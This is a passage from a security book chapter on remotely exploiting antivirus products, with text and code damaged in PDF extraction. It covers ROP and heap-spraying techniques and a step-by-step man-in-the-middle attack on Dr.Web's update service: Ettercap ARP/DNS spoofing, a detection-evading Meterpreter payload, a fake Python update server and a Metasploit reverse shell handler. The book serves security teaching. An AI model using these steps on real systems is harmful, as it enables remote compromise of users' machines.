2. The ROP gadgets copy the shellcode to the fixed address RWX pages that
were left by the targeted antivirus for you to use with your exploit.
Part III ■ Analysis and Exploitation
3. After the ROP gadgets copy the entire shellcode, you can simply return
or jump into the RWX page and continue your execution normally.
4. Done. It’s game over.
As this example shows, exploitation is generally trivial with any antivirus
product that makes these typical mistakes. Even the presence of only one of the
four previously listed mistakes can mean the difference between an easy-to-exploit
situation and a who-knows-how-to-exploit-this situation.
If DEP is enabled, as is the case nowadays, no RWX pages are present, and
all the modules are ASLR enabled. In this case, the situation would have been
different, and depending on the operating system and architecture, exploitation
would have been a lot more difficult:
When DEP is enabled, there is no more executing code from data pages.
When ASLR is enabled, there is no more ROP unless you know the addresses
of gadgets.
The exploitation mitigations that are implemented by most of today’s compilers
are good enough in most cases:
Security cookies are effective against stack buffer overflows.
Control Flow Guards are effective against use-after-free bugs.
SafeSEH protects against overwriting exception handler pointers.
N O T E You may wonder why an antivirus product, which is often synonymous
with security for the average user, can be guilty of such a basic mistake. In some
cases, specifically when talking about ASLR and fixed address memory pages with
RWX attributes, performance guides the decision. One company, which will remain
unnamed, even showed me a comparison using ASLR-enabled modules and
non-ASLR-enabled ones.
Writing Complex Payloads
Often, an exploit for an antivirus product must be created specifically for the target
operating system, architecture, and even final target machine. In such cases, you
need to determine how to create complex payloads, not just a simple hard-coded
address or set of addresses plus a hard-coded shellcode that may or may not work
for the real target. Complex payload creation in client-side applications typically
means using JavaScript, for example, when talking about web browsers or document readers such as Adobe Acrobat Reader. When talking about Office suites,
such as Microsoft Office, you may need to embed an Adobe Flash object to try
to perform just-in-time (JIT) spraying or heap spraying by embedding a bunch
of BMP images to fill a big chunk of memory with bitmap data you can use later.
Chapter 15 ■ Remote Exploitation
In the case of an antivirus engine, there is no JavaScript interpreter. (Or is
there? I return to this question later on.) There is no way to embed and run
Flash applications, nor (naturally) is there an option that lets you put pictures
in a Word document and expect the antivirus engine to load all the pictures in
memory. What are the options for heap spraying? For heap manipulation? Or for
simply creating complex payloads? The following sections discuss some of the
features that antivirus products offer that can help an exploit writer create very
complex payloads. It will not be as “easy,” in the sense of the number of available technologies to write an exploit, as with web browsers or Acrobat Reader.
Taking Advantage of Emulators
This is obviously the number-one answer. All existing antivirus engines,
with the notable exception of ClamAV, contain at least one emulator, and that
is the Intel x86 emulator. Can the emulator be used for malicious purposes? The
answer is yes and no. The emulators in antivirus products are often limited in
the sense that time-outs are set, as are memory limits and even limits for each
loop the emulator runs.
Unfortunately, this means that you cannot create a Windows PE, Executable
and Linkable Format (ELF), or MachO file; force it to be emulated; and then use it
to fill 1GB or 2GB of memory in order to perform heap spraying before triggering
the real vulnerability. On the other hand, the emulator can be fingerprinted and
identified, thus helping the attacker to programmatically create a targeted final
payload, or you can leverage the emulator to cause some memory leak while it
is emulating code in the malicious file so that memory of a certain size is not
freed after your sample is emulated. Naturally, this approach requires deep
knowledge of the emulator, and so you need to reverse-engineer and analyze it.
The emulator is likely one of the most broken pieces inside antivirus products,
as well as one of the more frequently updated, which usually translates into
many new bugs for each release.
It is important to note that not all malware samples are passed to the emulator;
therefore, before using the emulator as an attack vector, you need to make sure
you can trigger the emulator for a given sample. How can you force an antivirus
to emulate a sample file? You don’t! Instead, I typically do the following:
1. Reverse-engineer the core up to the point where the scanning process is
2. Put a breakpoint in the function where the emulator is going to be used
by the scanner.
3. Run the antivirus product against a big malware set.
4. Wait until the breakpoint is hit.
Part III ■ Analysis and Exploitation
The trick here is to pass many samples and find which one is going to trigger
the emulator. Once the breakpoint (set in step 2) is hit, bingo! You now have a
sample that is known to trigger the emulator. Usually, files that trigger the emulators are EXE cryptors or packers that are too complex to decrypt statically, and
the antivirus engineers decided to decrypt them using the emulator (which is
a good idea: let the machines work). Once you have identified which Windows
PE, ELF, or MachO file is being emulated, you can modify the code at the entry
point to put your own code, and voilà! You have a sample that is emulated and
a place to put code to generate the payload or to cause multiple memory leaks
in order to perform heap spraying. You will have much more luck finding such
samples with Windows PE file sets than with ELF or MachO files.
Even if you use the emulator to do heap spraying or some of the other tricks
mentioned previously, there are still more problems and limitations to overcome:
AV emulators usually have hard-coded limits for the number of instructions they
can emulate, the number of API calls allowed, the amount of memory they can
use, and so on. Emulators cannot let a sample run forever on a desktop machine
for performance reasons. Say that a malicious sample file can cause a memory
leak in the emulator. For example, suppose that the function NtCreateFile,
when passed bad arguments, allocates a buffer that is never freed. Now, say
that it allocates a 1KB memory chunk each time it is called, but the antivirus
emulator refuses to continue after running this function more than a thousand
times. The attacker just allocated 1,024,000 bytes (1MB). If you need to allocate
more memory during an attack, then it is time for the next trick.
Exploiting Archive Files
An archive file, such as a TAR or a simple ZIP, is a file with many other files
inside of it. When an antivirus analyzes an archive file, by default, the kernel
does the following:
1. It analyzes all files inside the archive, applying recursion limits (that is, it
does not recursively scan more than five nested archive files).
2. It analyzes all files sequentially, from the very first time in the archive to
the very last time.
In the example used previously involving the hypothetical memory leak
with NtCreateFile, you had the option to allocate up to 1MB of memory per
sample. What if, instead of a single Windows PE file, you send 100 slightly
modified versions of a file to scan? The antivirus, by default, will analyze 100
files, thus allocating 100 MBs. If, instead of 100, you compress 1,000 files, you
will be allocating 1,000 MBs, or 1 gigabyte. For this trick, you can simply add
one byte or DWORD at the end of the file (at the overlay data) so the cryptographic hash changes and, as such, the antivirus does not have any way to
Chapter 15 ■ Remote Exploitation
determine whether the file was scanned before. Also note that because the files
are very similar, with only a byte or a DWORD changed, the compressor will be
very efficient in compressing the files, thus creating a ZIP or 7z or RAR archive
file that is extremely small, considering the large number of files inside the
archive. Nice trick, isn’t it?
After allocating the memory size by using the previous trick, you can add
one more file to the archive, the very last one, which will actually trigger the
bug. Then you can use the allocated memory in the targeted antivirus. This is
one way of doing heap spraying against an antivirus that, by the way, usually
works very well.
Finding Weaknesses in Intel x86, AMD x86_64, and ARM Emulators
Antivirus engines usually implement not only a single emulator but a bunch of
them. The most common emulator to find is for supporting Intel x86, but it is not
unusual to find an emulator for AMD x86_64, for ARM, or even for Microsoft
.NET byte-code! This means that an attacker can write advanced payloads in
whatever assembly language the targeted antivirus supports. You could even
write parts of the payload using different assemblers in different Windows PE
files for different architectures: using the previous trick—archive files—you
could send a file that would implement one part of the complex attack in an
Intel x86 assembler, a second file that would continue implementing it with an
AMD x86_64 assembler, and a final one that would do whatever you need in
an ARM assembler.
There is a good reason why you might torture yourself with such an incredibly complex attack: obfuscation. An attack using various emulators would
certainly cause a lot of problems for the analyst or analysts trying to understand
the exploit. Of course, a smart analyst would try to find a pattern and then
automate the task of de-obfuscation.
Using JavaScript, VBScript, or ActionScript
In some of the previous sections, I excluded the option to use JavaScript to create
complex payloads or to perform heap spraying, saying that it was specific to web
browsers and Adobe Acrobat Reader. But I also left one question unanswered:
are there any JavaScript interpreters or emulators available in antivirus scanners? They do exist, although it depends on the antivirus product. Usually, the
same limitations that apply to the Intel x86 emulator apply to the JavaScript
interpreter or emulator: there are limits set for memory consumption, not all
APIs can be used, there are emulation time-outs, there are limits in the loops
and numbers of instructions emulated, and so on.
When JavaScript is present, you can use it as you would any other native
code emulators (as previously explained) to create the final payload to exploit
a vulnerability in an antivirus.
Part III ■ Analysis and Exploitation
There are a couple of reasons why it is better to use JavaScript than pure
assembly code for such an exploit:
It is easier to code in high-level languages, such as JavaScript, than in
pure assembler code.
It is easier to get a JavaScript code emulated or interpreted than it is with
a PE, ELF, or MachO file.
Indeed, most obfuscated JavaScript files, depending on the antivirus product,
are actually interpreted or emulated by the JavaScript engine implemented in
the antivirus kernel. However, this does not happen all the time with Windows
PE files or other program files because of performance reasons.
Depending on the antivirus product, not only do Intel x86, AMD64, ARM,
or JavaScript emulators exist, but you may also find VBScript and ActionScript
emulators. Different antivirus kernels or products have their own implementation of such emulators.
One interesting and highly recommended use of JavaScript (or VBScript if
available) when writing antivirus exploits is that you can write exploits targeting multiple engines with much greater ease than with the assembler language.
If you are targeting a number of antivirus engines and you know they have
embedded a JavaScript engine, you can fingerprint the JavaScript engine as
implemented by the antivirus product and then create different final payloads
for different antivirus products.
Determining What an Antivirus Supports
Determining which emulators and interpreters an antivirus product supports
is not trivial, but there are some quick approaches to doing so. In general, if the
emulator is not loaded dynamically from plug-ins (that are usually encrypted
and compressed), you can simply use the grep tool to look for patterns and
strings. For example, to determine where the native code emulator is for Zoner
AntiVirus for Linux, you can simply issue the following command:
$ LANG=C grep emu -r /opt/zav/
Binary file /opt/zav/bin/zavcli matches
Binary file /opt/zav/lib/
o matches
If there is an emulator inside Zoner AntiVirus, it is in either zavcli or Such components are usually implemented in the libraries. I will
use one command from the Radare2 reverse-engineering suite to list all symbols
from the library and filter out those that could be for an emulator:
$ rabin2 -s /opt/zav/lib/ | egrep "(emu|VM)"
vaddr=0x00092600 paddr=0x00078600 ord=525 fwd=NONE sz=419 bind=LOCAL
Chapter 15 ■ Remote Exploitation
vaddr=0x00198640 paddr=0x0017e640 ord=622 fwd=NONE sz=80 bind=LOCAL
type=OBJECT name=_ZL7g_JitVM
vaddr=0x000f7aa0 paddr=0x000ddaa0 ord=773 fwd=NONE sz=84 bind=LOCAL
type=OBJECT name=_ZZN5RarVM16IsStandardFilterEPhiE4C.25
vaddr=0x000f7a80 paddr=0x000dda80 ord=774 fwd=NONE sz=16 bind=LOCAL
type=OBJECT name=_ZZN5RarVM21ExecuteStandardFilterE18VM_StandardFilters
On the surface, it seems to support some sort of virtual machine (VM) for
PE files (PE_VMCTX, which translates to PE virtual machine context) and also for
the RAR VM, the virtual machine implemented by the file compression utility
RAR. This information tells you which VMs you could target if you intend to
find bugs and exploit them in Zoner AntiVirus. If you try to find references
to scripting engines, you will discover that there are none:
$ rabin2 -s /opt/zav/lib/ | egrep -i "(vb|java|script)"
A search like this one does not return any meaningful results, simply because
the absence of certain string patterns does not mean the absence of certain
features. You have to know for sure that the functionality you are looking for is
not present, not even in encrypted or compressed antivirus plug-ins. Only then
can you conclude that the antivirus does not support such emulating features. If
you take a look at some other antiviruses that you know support these features,
such as Comodo, you will see a different output:
$ LANG=C grep jscript -r *
Binary file matches
This uncovers a match in the library, which lives up to
its name. If you take a look with the rabin2 tool from the Radare2 command-line
tools, you see a lot of interesting symbols telling you which scripting engines
are supported:
$ rabin2 -s | egrep -i "(js|vb)" | more
vaddr=0x000c2943 paddr=0x00067c33 ord=083 fwd=NONE sz=2327 bind=LOCAL
type=FUNC name=_GLOBAL__I_JsObjectMethod.cpp
vaddr=0x000c6b08 paddr=0x0006bdf8 ord=086 fwd=NONE sz=43 bind=LOCAL
type=FUNC name=_GLOBAL__I_JsParseSynate.cpp
vaddr=0x001009e0 paddr=0x000a5cd0 ord=099 fwd=NONE sz=200 bind=LOCAL
type=OBJECT name=_ZL9js_arrays
vaddr=0x000dc033 paddr=0x00081323 ord=108 fwd=NONE sz=270 bind=LOCAL
type=FUNC name=_GLOBAL__I_JsGlobalVar.cpp
vaddr=0x003257b0 paddr=0x002caaa0 ord=221 fwd=NONE sz=40 bind=UNKNOWN
Part III ■ Analysis and Exploitation
type=OBJECT name=_ZTV9CVbBelowE
vaddr=0x000e7664 paddr=0x0008c954 ord=225 fwd=NONE sz=19 bind=UNKNOWN
type=FUNC name=_ZN13CVbIntegerDivD1Ev
Comodo Antivirus has support for both JavaScript and VBScript, which means
an attacker can write payloads in either of these two supported scripting engines.
Launching the Final Payload
The previous section focused on how to create payloads by determining which
emulators or interpreters are supported, how to use archives to launch multiple
stages of a single attack, and so on. But once you have a payload created for
the targeted antivirus, what do you need to do to launch the last stage of your
exploit? There is no simple answer. It largely depends on which emulator or
interpreter you are using, because it is completely different to deliver a payload
from JavaScript or VBScript than to do the same from an emulated PE file. In
each case, the following rules always apply:
All content dropped to disk is analyzed by the antivirus.
All new content evaluated or executed at runtime is analyzed by the
For each new file or buffer dropped to disk or evaluated during runtime,
all the scanning routines are applied.
This means that, for example, if you are creating a payload in an Intel x86
assembler, you need to create a file, write the buffer to the file, and close it. It is
automatically handled by the antivirus, and usually all the scanning routines
are applied to this new buffer. For a JavaScript or VBScript emulator, simply
using eval()triggers the emulator. The eval() function is usually hooked to
find patterns or to apply other scanning routines to detect malware in the newly
created buffer. For example, a look at the library from
Comodo Antivirus reveals the following string:
; char
.rodata:00000000000A7438 46 6F 75
'Found Virus!',0
.rodata:00000000000A7445 00 00 00
6E 64 20 56 69+aFoundVirus
eval(CParamsHelper &)+C5o
00 00 00 00 00+
align 10h
If you follow the data cross-reference to this string, you land in the function
eval(CParamsHelper &):
edi, 8
; unsigned __int64
; operator new(ulong)
rsi, aFoundVirus ; "Found Virus!"
Chapter 15 ■ Remote Exploitation
rdi, rax
; this
rbx, rax
; CJsStopRunException::CJsStopRunException(char *)
short loc_82F34
As you can see, for each call to the eval JavaScript function, the antivirus is
scanning the buffer. If it finds something, the execution of the JavaScript interpreter
is halted. That information tells you that by simply calling the eval JavaScript
function, you can deliver a payload targeting Comodo Antivirus. On the basis
of my research, I noticed that it is common for other antivirus engines to also
hook this function. This is a very useful piece of information for exploit writers.
Exploiting the Update Services
One of the vulnerable client-side parts of antivirus software is the update
service. Exploiting update services is completely different than exploiting the
usual memory corruption vulnerabilities in client-side components, such as the
file format parsers. Such attacks usually mean that the connection between both
ends (the client machine downloading updates and the server from which the
updates will be downloaded) must somehow be intercepted. In a Local Area
Network (LAN), the interception can be accomplished via Address Resolution
Protocol (ARP) spoofing.
ARP spoofing, or ARP poisoning, is a technique by which the attacker sends
spoof ARP answers to the LAN. The spoofed gratuitous ARP answers are meant
to associate the attacker’s MAC address with the IP address of the host being
targeted, causing the traffic between client machines to the target, spoofed
server to be intercepted by an attacker. Then, because all the traffic is flowing
through the attacker-controlled machine, it can alter the packets being sent
by potentially modifying the update bits coming from the specific targeted
antivirus update servers to the client machines. The results of such an attack
can be disastrous if the update services (on the client side) do not authenticate
the received update data.
When searching for potential vulnerabilities in update services, you need to
answer the following questions:
Is the update service using SSL or TLS?
Is the update service verifying the certificate from the server?
Are updates signed?
Is the signature verified by the update service?
Is the update service using any library that allows the bypassing of
signature checks?
Part III ■ Analysis and Exploitation
When writing exploits, almost all antivirus products I analyzed use plain-text
communications, usually in the form of HTTP, with no SSL or TLS. This use of
plain-text means that anything sent from the server to the client can be modified
without raising any flags. In rare cases, some servers use SSL/TLS exclusively
as a means of communication, not for verifying that the server is the true server
the client machine wants to communicate with. Also, one may ask whether
the updates are being authenticated. By “authenticated,” I mean whether it can
be verified that the updates were created by the antivirus in question and were
not modified in transit. Authentication is usually done by signing the update
files (for example, with RSA).
Fortunately for the attacker, most antivirus products authenticate their update
files by simply using CRC or cryptographic hashes such as MD5, which works
exclusively for the purpose of verifying that the updates were not corrupted
during transit, and nothing else. An attacker can simply send the correct CRC
or MD5 hashes corresponding to the update files. Last but not least, even if
the update service is verifying the update’s signature, if it uses an old version
of OpenSSL, which is not that rare, you can still send updates “signed” with
invalid signatures that will cause the signatures to be validated anyway. The
following is an extract from the OpenSSL bug CVE-2008-5077:
Several functions inside OpenSSL incorrectly checked the result after
calling the EVP_VerifyFinal function, allowing a malformed signature
to be treated as a good signature rather than as an error. This issue affected
the signature checks on DSA and ECDSA keys used with SSL/TLS.
One way to exploit this flaw would be for a remote attacker who is in
control of a malicious server or who can use a man in the middle attack to
present a malformed SSL/TLS signature from a certificate chain to a
vulnerable client, bypassing validation.
This means that any update service client code using an OpenSSL version of
0.9.8 or earlier is vulnerable to this bug.
Writing an Exploit for an Update Service
This section analyzes a simple exploit for the updating service of the Dr.Web
antivirus, for both Linux and Windows. This antivirus, at least during its 6.X
versions, used to update components via plain HTTP, and the only method used
to authenticate the components was with the CRC algorithm, a simple checksum.
Naturally, under these conditions, the exploitation of the update system of the
Dr.Web antivirus becomes trivial.
The Dr.Web antivirus used to download update files from a hard-coded set
of plain-HTTP servers:
Chapter 15 ■ Remote Exploitation
By performing ARP spoofing and a DNS poisoning attack in a LAN, against
these domains, attackers would be able to serve their own updates. The
process of updating starts by selecting one server from the preceding list and
then downloading a file with a timestamp, to determine whether there is a
new update:
HTTP Request:
GET /x64/600/av/windows/timestamp
HTTP/1.1 Accept: */*
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate- (windows: 6.01.7601)
Connection: Keep-Alive
Cache-Control: no-cache
HTTP Response:
HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMT
Content-Type: application/octet-stream
Content-Length: 10
Last-Modified: Sat, 19 Apr 2014 09:26:19 GMT
Connection: keep-alive
Accept-Ranges: bytes
The returned value is a Unix timestamp indicating the time of the last update
available. After this, another check is made to determine the current version of
the antivirus product, specified in the drweb32.flg file:
HTTP Request:
GET /x64/600/av/windows/drweb32.flg HTTP/1.1
Accept: */*
Part III ■ Analysis and Exploitation
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate- (windows: 6.01.7601)
Connection: Keep-Alive
Cache-Control: no-cache
HTTP Response:
HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMT
Content-Type: application/octet-stream
Content-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMT
Connection: keep-alive
Accept-Ranges: bytes [windows]
As you can see, part of what it returns in the response is the link to download
the latest version of the product, the excluded operating systems, and so on.
The funny (or should I say interesting) part of the update protocol then starts
when Dr.Web asks for an LZMA-compressed catalog with all the files that can
be updated:
GET /x64/600/av/windows/drweb32.lst.lzma HTTP / 1.1
Accept: * / *
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate- (windows: 6.01.7601)
Connection: Keep-Alive Cache-Control: no-cache
HTTP / 1.1 200 OK
Server: nginx / 42
Date: Sat, 19 Apr 2014 10:33:39 GMT
Chapter 15 ■ Remote Exploitation
Content-Type: application / octet-stream
Content-Length: 2373
Last-Modified: Sat, 19 Apr 2014 10:23:08 GMT
Connection: keep-alive
Accept-Ranges: bytes
(…binary data…)
A look inside this LZMA-compressed file reveals something similar to the
following listing:
+timestamp, 8D17F12F
+lang.lst, EDCB0715
+update.drl, AB6FA8BE
+drwebupw.exe, 8C879982
+drweb32.dll, B73749FD
+drwebase.vdb, C5CBA22F
+<wnt>%SYSDIR64%\drivers\dwprot.sys, 3143EB8D
+<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwengine.exe,
+<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwinctl.dll,
This list contains the files that are available for update. Each filename is
followed by some sort of a “hash.” The problem is that it is not a signature but,
rather, a simple checksum (CRC). After discovering all this information, two
approaches can be used to mount an attack:
When the LZMA-compressed catalog is downloaded, modify it and return
a fake one with the valid CRC hash of a special component to be installed
on the system.
Modify one of the files in the catalog, adding one special payload of your
own, and use a CRC compensation attack so the checksum is the same.
The first attack is more flexible and gives you a lot of control, whereas the
second attack is more complex and is not really required. If you choose to
use the first attack, you can simply forge your own LZMA-compressed catalog
with the CRCs of the files you want to install. By the way, it is important to
note that you are not limited to deploying files in the Dr.Web program file’s
directory only: you can write files anywhere in the affected machine, in both
Linux and Windows.
Part III ■ Analysis and Exploitation
After the catalog is downloaded, the files in the catalog are checked to ensure
that the CRC matches. Files that are different are downloaded and installed
onto the target machine. In Linux, each independent file is downloaded, and in
Windows, a patch-set file is downloaded. The patch-set that is requested takes
the form of the following HTTP query:
GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f
If the file is not available, then Dr.Web tries to download the full installer for
the new version:
GET /x64/600/av/windows/drwebupw.exe
The following steps show how to launch an attack against the Dr.Web update
1. Perform a man-in-the-middle attack against a machine or set of machines
in a LAN. It is possible to do the same in a WAN, but that is beyond of
the scope of this book.
2. By using ARP spoofing and DNS spoofing, you can intercept the connections the client machines make to the update servers that I previously
listed. You would use the open-source tool Ettercap for this purpose.
3. In your machine, you create a fake Dr.Web update server using Python.
4. When the Dr.Web vulnerable installation asks for the update files, you
return a Meterpreter executable file (compatible with the Metasploit framework) instead of the true update.
Use the following code to create your own Meterpreter payload, and make
sure it evades detection by the antivirus, using the Veil-Evasion framework:
Veil-Evasion | [Version]: 2.7.0
[Web]: | [Twitter]: @VeilFramework
Main Menu
29 payloads loaded
Available commands:
use a specific
information on
list available
update Veil to
a specific payload
the latest version
Chapter 15 ■ Remote Exploitation
clean out payload folders
check payload hashes vs. VirusTotal
exit Veil
[>] Please enter a command: list
[*] Available payloads:
[>] Please enter a command: use 3
[>] Please enter a command: set LHOST target-ip
[>] Please enter a command: generate
[>] Please enter the base name for output files: drwebupw
[*] Executable written to: /root/veil-output/compiled/drwebupw.exe
Now, it is time to use Ettercap to perform ARP spoofing and enable the
module to do DNS spoofing. The Ettercap tool can be installed in Debian-based
Linux distributions by issuing this command:
$ sudo apt-get install ettercap-graphical
Once you have it installed, run it as superuser from a terminal:
$ sudo ettercap -G
The flag -G lets you use the GUI, which is easier than using the text interface
or using a long list of command-line flags. From the menu in the Ettercap
GUI, select Sniff ➪ Unified Sniffing, select the appropriate network card, and
click OK. Now, choose Hosts ➪ Scan for Hosts. It scans for hosts in the LAN
corresponding to the selected network interface. Go to the menu and choose
Hosts ➪ Hosts Lists, and then select the appropriate targets (the first is the network router and the second is the target machine running Dr.Web). Now, click
Mitm ➪ ARP poisoning, check the Sniff Remote Connections option, and click
OK. Next, you need to edit the file etter.dns to add the domains with DNS
entries you want to spoof. (In Ubuntu, the file is located in /etc/ettercap
After saving the changes to this file, go back to the Ettercap GUI, click
Plugins ➪ Manage Plugins, and double-click the list shown on dns_spoof. DNS
spoofing is now enabled, and all queries from the target for the DNS record
Part III ■ Analysis and Exploitation
of any * domain are answered with your own IP address. Now,
for the last step, to exploit this bug, use the following Dr.Web Python exploit
written by the author of the blog at
#encoding: utf-8
from struct import *
from subprocess import call
class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
if 'timestamp' in self.path:
elif 'drweb32.flg' in self.path:
elif 'drweb32.lst.lzma' in self.path:
elif UPLOAD_FILENAME + '.lzma' in self.path:
self.wfile.write(open(UPLOAD_FILENAME + '.lzma').read())
elif UPLOAD_FILENAME + '.patch' in self.path:
print self.path
def CRC32_from_file(filename):
Chapter 15 ■ Remote Exploitation
buf = open(filename,'rb').read()
buf = (binascii.crc32(buf) & 0xFFFFFFFF)
return "%08X" % buf
def create_timestamp_file():
with open('timestamp','w') as f:
crc32 = CRC32_from_file(upload_filename)
with open('drweb32.lst','w') as f:
f.write('+%s, %s\n' % (upload_path+upload_filename,crc32))
def edit_file_size(lzma_filename,orig_filename):
file_size = os.stat(orig_filename).st_size
with open(lzma_filename,'r+b') as f:
bsize = pack('l',file_size)
print 'Http Server started...'
Part III ■ Analysis and Exploitation
Although the comments are in Russian, the code is perfectly understandable:
it simply tries to mimic the update protocol supported by Dr.Web and returns
modified versions of the update files and the LZMA-compressed catalog by
using the LZMA tool from Linux. If you run this tool and then try to update
the Dr.Web antivirus, you see some requests like the following ones:
$ python
Http Server started... - - [20/Apr/2014 10:48:24] "GET
/x64/600/av/windows/timestamp HTTP/1.1" 200 - - [20/Apr/2014 10:48:24] "GET
/x64/600/av/windows/drweb32.flg HTTP/1.1" 200 - - [20/Apr/2014 10:48:26] "GET
/x64/600/av/windows/drweb32.lst.lzma HTTP/1.1" 200 - - [20/Apr/2014 10:48:27] "GET
/x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1" 404 - - [20/Apr/2014 10:48:27] "GET
/x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1" 200 –
On your machine, run a Metasploit reverse HTTP handler by issuing the
following commands:
$ msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST target-ip
LHOST => target-ip
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > run
[*] Started HTTP reverse handler on http://target-ip:8080/
[*] Starting the payload handler...
If everything goes well, when the Dr.Web antivirus tries to update its files, it
downloads the Meterpreter payload you created, and after installing it, you see
a new session in the Metasploit console, as shown in Figure 15-1.
Figure 15.1: Dr.Web is successfully owned.
Chapter 15 ■ Remote Exploitation
And that is all! As you can see, writing an exploit for an antivirus update
service such as this vulnerable one was trivial.
Server-Side Exploitation
Server-side exploitation is the remote exploitation of network services, having
access to them via an adjacent network, a LAN, or via a WAN, the Internet.
Server-side exploitation can apply to the following (non-exhaustive) list of
antivirus services:
Update services—The antivirus services that check for updates and download and install them on your computer or network.
Management console—The console where the infection alerts from client
machines are received and handled by an administrator.
Network services—Any network listening service deployed by the antivirus, such as a web server, an FTP server for providing updates to clients
on the same network, and so on.
Differences between Client-Side and Server-Side Exploitation
Server-side exploitation, without specifically focusing on antivirus products, is
very different from client-side exploitation. However, most of the rules discussed
about client-side exploitation still apply:
Exploitation mitigations—All the exploitation mitigations are there to
make your life more difficult.
Mistakes—Antivirus engines make many mistakes, such as those I discussed relating to client-side exploitation: disabling ASLR, enabling DEP,
creating RWX memory pages at fixed addresses, and so on. Luckily for
an attacker, those mistakes will ease the difficulties stemming from the
exploitation mitigations.
Perhaps the biggest difference for the attacker is that, in this case, they will
unfortunately not have any programming interface from the server-side to create
your payloads. This means that if you want to exploit a specific network service
in some antivirus, you have no chance to execute JavaScript or even an Intel x86
assembler to create a payload or to perform heap spraying. However, the upside
is that, as with client-side exploitation, exploiting an antivirus network service
or an update service (or whatever server-side service you want to exploit) is
not as difficult as exploiting OpenSSH, Apache, or Microsoft Windows Update.
Indeed, it is exactly the same as what happens with its client-side counterpart: it
is actually easier to target an antivirus service than any widely used, and more
security-aware, server software.
Part III ■ Analysis and Exploitation
There is one more important difference: in the case of network services, you
likely have only one chance at success. You have only one chance to attack the
network service, and if you fail, you have no choice but to wait until the service
is restarted. If it is automatically restarted, then you can try many times, but
this is not recommended: to keep retrying after the service crashes and restarts
is akin to brute forcing. It may generate a lot of alert logs and will eventually
draw the attention of the system administrator and the security engineers.
Exploiting ASLR, DEP, and RWX Pages at Fixed Addresses
I already discussed how to take advantage of the mistakes made by antivirus
products when disabling DEP or when ASLR is disabled for at least one module,
on the client-side. For server-side exploitation, the same rules apply:
If a vulnerability overwrites the stack, you can even execute code on the
stack if the antivirus disabled DEP.
If you need a fixed address with native code to create your own payloads,
with ROP gadgets, for example, you can use the modules without ASLR
enabled that the antivirus engineers left for you to exploit their services.
If you need a place in memory to write shellcode, you can use the RWX
pages created at fixed memory addresses by the antivirus.
There is no real difference here between client-side and server-side exploitation.
Remote exploitation techniques are used in scenarios when an attacker does
not have direct, local access to the target computer. An example of remotely
exploiting client-side components of antivirus software is when the attacker
sends a malicious email to the target, which then triggers a bug in the antivirus
software leading to a DoS attack or remote code execution. On the other hand,
remotely exploiting server-side components of an antivirus software involves
attacking email gateways, firewalls, and other servers or services exposed to
the LAN or WAN.
Client-side components are mitigated against exploitation by various technologies provided by the operating system, the compiler, and custom sandboxes.
To name a few: ASLR, DEP, SafeSEH, Control Flow Guard, security cookies,
and so on.
While there seem to be a lot of mitigations, antivirus developers still make
lapses in security designs and implementations, thus paving the way for successful
Chapter 15 ■ Remote Exploitation
exploitation. The following is but a short list of trivial and common mistakes
that can lead to exploitation and security problems:
Not enabling Address Space Layout Randomization (ASLR) for one or
more modules or system-wide injection of non-ASLR-enabled libraries
into other processes
Purposely disabling DEP in order to execute code in the stack or to preserve
backwards compatibility with some older components of the antivirus
The use of Read-Write-eXecute (RWX) memory pages, especially if they
are allocated at fixed memory addresses
Apart from leveraging weaknesses in the use of mitigations, attackers use
certain features in the antivirus software to their advantage. For example, if the
antivirus contains emulators, it is possible to abuse the emulators and use them
to do heap spraying or to leak memory and cause a DoS that could potentially
crash the antivirus.
Server-side components and other network services are also protected by
the same mitigations mentioned above and at the same time share their weaknesses. However, there are more attack vectors that server-side components
are exposed to:
Update servers are prone to ARP spoofing attacks
The incorrect use of file signature and integrity checks while transmitting
the update bits, for example, using CRC32 algorithms instead of PKI-based
signature checks
Improper use of secure transport channels, for example, using HTTP
instead of HTTPS
The final two points in the previous list were nicely illustrated by a hands-on
section on how to exploit the update service of Dr.Web antivirus.
This chapter concludes Part III of this book. In the next and final part, the
remaining two chapters will be less technical and more informative and talk
about the current trends in antivirus protection and the direction the antivirus
industry is heading. The book concludes by sharing some thoughts on how
antiviruses could be improved.
Par t
Current Tre
ends and
In This Part
Chapter 16: Current Trends in Antivirus Protection
Chapter 17: Recommendations and the Possible Future
Current Trends in Antivirus
The robustness and effectiveness of the protection offered by antivirus products
is not exclusively determined by the quality of the antivirus product, but also
by the target audience.
Nowadays, everybody is a target for malware authors. However, it is unlikely
that the owner of your neighborhood supermarket is going to be the victim of
an attack perpetrated by an actor using zero-day exploits. On the other hand, a
government or a big corporation is going to be targeted by any and all possible
malware writers around the world, ranging from the not-so-knowledgeable
authors of rogue antivirus software and other malware to state-level actors.
Almost weekly, you can read in the news about how the National Security
Agency (NSA), Government Communications Headquarters (GCHQ), or some
other agency has launched campaigns—or cyber-attacks, as they are usually
called—against telecommunication companies, ISPs, and other big companies.
Such corporations, local or foreign, are interesting targets in helping to spy
on foreign countries, specific individuals (political personnel, activists, and
whistle-blowers), armed groups, and so on.
The target audience of consumers for antivirus software can be divided into
four major groups: home users, small to medium-sized companies, governments
and big companies, and the targets of governments.
